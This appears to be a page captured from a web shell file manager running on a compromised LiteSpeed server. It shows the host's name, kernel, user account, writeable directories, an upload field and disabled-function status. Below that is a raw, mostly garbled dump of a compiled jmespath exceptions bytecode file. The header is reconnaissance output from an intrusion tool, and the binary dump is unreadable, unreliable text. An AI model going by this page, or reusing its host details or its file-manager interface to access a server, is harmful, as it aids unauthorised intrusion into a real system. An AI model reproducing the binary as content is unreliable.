Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/site-packages/jmespath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/site-packages/jmespath/__pycache__/exceptions.cpython-38.pyc
U

O��g �@s�ddlmZGdd�de�ZeGdd�de��ZeGdd�de��ZeGdd	�d	e��ZeGd
d�de��ZeGdd
�d
e��ZeGdd�de��Z	Gdd�de�Z
Gdd�de�ZdS)�)�with_str_methodc@seZdZdS)�
JMESPathErrorN��__name__�
__module__�__qualname__�rr�@/opt/cppython/lib/python3.8/site-packages/jmespath/exceptions.pyrsrcs,eZdZdZef�fdd�	Zdd�Z�ZS)�
ParseErrorzInvalid jmespath expressioncs:tt|��|||�||_||_|��|_||_d|_dS�N)	�superr
�__init__�lex_position�token_value�upper�
token_type�msg�
expression)�selfrrrr��	__class__rr	r
s
zParseError.__init__cCs0d|jdd}d|j|j|j|j|j|fS)N� ��^zF%s: Parse error at column %s, token "%s" (%s), for expression:
"%s"
%s)rrrrr�r�	underlinerrr	�__str__s���zParseError.__str__)rrrZ_ERROR_MESSAGEr
r�
__classcell__rrrr	r
s�
r
c@seZdZdd�Zdd�ZdS)�IncompleteExpressionErrorcCs ||_t|�|_d|_d|_dSr)r�lenrrr)rrrrr	�set_expression!s
z(IncompleteExpressionError.set_expressioncCs d|jdd}d|j|fS)Nrrrz;Invalid jmespath expression: Incomplete expression:
"%s"
%s)rrrrrr	r's
��z!IncompleteExpressionError.__str__N)rrrr rrrrr	rsrcs&eZdZd�fdd�	Zdd�Z�ZS)�
LexerErrorNcs0||_||_||_tt|��|||�||_dSr)�lexer_position�lexer_value�messagerr!r
r)rr"r#r$rrrr	r
1s�zLexerError.__init__cCs d|jd}d|j|j|fS)Nrrz"Bad jmespath expression: %s:
%s
%s)r"r$rrrrr	r;s�zLexerError.__str__)N)rrrr
rrrrrr	r!/s
r!c@s$eZdZdd�Zdd�Zdd�ZdS)�
ArityErrorcCs||_||_||_d|_dSr)�expected_arity�actual_arity�
function_namer)r�expected�actual�namerrr	r
CszArityError.__init__cCs d|j|�d|j�|j|jfS)Nz-Expected %s %s for function %s(), received %s�argument�r&�
_pluralizer(r'�rrrr	rIs��zArityError.__str__cCs|dkr|S|dSdS)Nr�sr)r�word�countrrr	r.QszArityError._pluralizeN)rrrr
rr.rrrr	r%Asr%c@seZdZdd�ZdS)�VariadictArityErrorcCs d|j|�d|j�|j|jfS)Nz6Expected at least %s %s for function %s(), received %sr,r-r/rrr	rZs��zVariadictArityError.__str__N)rrrrrrrr	r3Xsr3c@seZdZdd�Zdd�ZdS)�JMESPathTypeErrorcCs||_||_||_||_dSr)r(�
current_value�actual_type�expected_types)rr(r5r6r7rrr	r
eszJMESPathTypeError.__init__cCsd|j|j|j|jfS)NzQIn function %s(), invalid type for value: %s, expected one of: %s, received: "%s")r(r5r7r6r/rrr	rls��zJMESPathTypeError.__str__N)rrrr
rrrrr	r4csr4cseZdZ�fdd�Z�ZS)�EmptyExpressionErrorcstt|��d�dS)Nz-Invalid JMESPath expression: cannot be empty.)rr8r
r/rrr	r
ts
�zEmptyExpressionError.__init__)rrrr
rrrrr	r8ssr8c@seZdZdS)�UnknownFunctionErrorNrrrrr	r9ysr9N)Zjmespath.compatr�
ValueErrorrr
rr!r%r3r4r8r9rrrr	�<module>s


F1le Man4ger